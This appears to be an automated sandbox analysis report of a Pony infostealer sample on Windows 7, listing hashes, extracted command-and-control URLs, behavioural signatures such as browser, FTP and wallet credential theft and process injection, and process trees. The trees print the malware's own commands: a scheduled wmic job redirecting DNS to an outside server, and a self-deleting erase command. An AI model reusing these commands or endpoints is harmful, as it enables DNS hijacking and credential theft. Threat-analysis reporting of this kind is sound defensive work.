Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
12-10-2023 17:57
Static task
static1
Behavioral task
behavioral1
Sample
NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe
Resource
win7-20230831-en
General
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Target
NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe
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Size
92KB
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MD5
0c412ef0cf9904408b020f4b814b3460
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SHA1
3cef353cc50f0d277463ff140ae9819e12cb511c
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SHA256
f180e0c098cbda74fdff7ad278dc0ceb10d2edfc14fa8c0442b6230c6f6447b5
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SHA512
8672026923c497824e11ce65a0845053ec33769a0236361231c2cfe13d76aecf7497c297aa2463e17462231318f40723e571d10778960986f809476c94d6361c
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SSDEEP
1536:1zSk+mAjxkteU7ZeH++q6BIfe/yplC+D5MXNnYrncybbniWEzuyuO:1zSk+mAtkteU7AH+h6BK2v+D5sNnSyWI
Malware Config
Extracted
pony
http://:xoakatap.pw:681/fix/update.php
http://coalarky.pw:681/fix/update.php
Signatures
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Deletes itself 1 IoCs
pid Process 2188 cmd.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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resource yara_rule behavioral1/memory/2600-3-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2600-5-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2600-8-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2600-10-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2600-11-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2600-13-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2600-12-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2600-14-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2600-22-0x0000000000400000-0x000000000041B000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2676 set thread context of 2600 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 30 -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\calc2.exe NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 2776 PING.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe -
Suspicious use of AdjustPrivilegeToken 32 IoCs
description pid Process Token: SeImpersonatePrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeTcbPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeChangeNotifyPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeCreateTokenPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeBackupPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeRestorePrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeIncreaseQuotaPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeAssignPrimaryTokenPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeImpersonatePrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeTcbPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeChangeNotifyPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeCreateTokenPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeBackupPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeRestorePrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeIncreaseQuotaPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeAssignPrimaryTokenPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeImpersonatePrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeTcbPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeChangeNotifyPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeCreateTokenPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeBackupPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeRestorePrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeIncreaseQuotaPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeAssignPrimaryTokenPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeImpersonatePrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeTcbPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeChangeNotifyPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeCreateTokenPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeBackupPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeRestorePrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeIncreaseQuotaPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe Token: SeAssignPrimaryTokenPrivilege 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 2676 wrote to memory of 2600 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 30 PID 2676 wrote to memory of 2600 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 30 PID 2676 wrote to memory of 2600 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 30 PID 2676 wrote to memory of 2600 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 30 PID 2676 wrote to memory of 2600 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 30 PID 2676 wrote to memory of 2600 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 30 PID 2676 wrote to memory of 2600 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 30 PID 2676 wrote to memory of 2600 2676 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 30 PID 2600 wrote to memory of 2896 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 31 PID 2600 wrote to memory of 2896 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 31 PID 2600 wrote to memory of 2896 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 31 PID 2600 wrote to memory of 2896 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 31 PID 2896 wrote to memory of 2064 2896 cmd.exe 33 PID 2896 wrote to memory of 2064 2896 cmd.exe 33 PID 2896 wrote to memory of 2064 2896 cmd.exe 33 PID 2896 wrote to memory of 2064 2896 cmd.exe 33 PID 2600 wrote to memory of 2188 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 34 PID 2600 wrote to memory of 2188 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 34 PID 2600 wrote to memory of 2188 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 34 PID 2600 wrote to memory of 2188 2600 NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe 34 PID 2188 wrote to memory of 2776 2188 cmd.exe 36 PID 2188 wrote to memory of 2776 2188 cmd.exe 36 PID 2188 wrote to memory of 2776 2188 cmd.exe 36 PID 2188 wrote to memory of 2776 2188 cmd.exe 36
Processes
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C:\Users\Admin\AppData\Local\Temp\NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe"C:\Users\Admin\AppData\Local\Temp\NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2676 -
C:\Users\Admin\AppData\Local\Temp\NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exeC:\Users\Admin\AppData\Local\Temp\NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c at 09:47:00 /every:T,M,Th,F,W,S,Su wmic.exe nicconfig where "IPEnabled=true" call SetDNSServerSearchOrder ("37.10.116.201", "8.8.8.8")3⤵
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\SysWOW64\at.exeat 09:47:00 /every:T,M,Th,F,W,S,Su wmic.exe nicconfig where "IPEnabled=true" call SetDNSServerSearchOrder ("37.10.116.201", "8.8.8.8")4⤵PID:2064
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 10 localhost && erase "C:\Users\Admin\AppData\Local\Temp\NEAS.0c412ef0cf9904408b020f4b814b3460_JC.exe"3⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost4⤵
- Runs ping.exe
PID:2776
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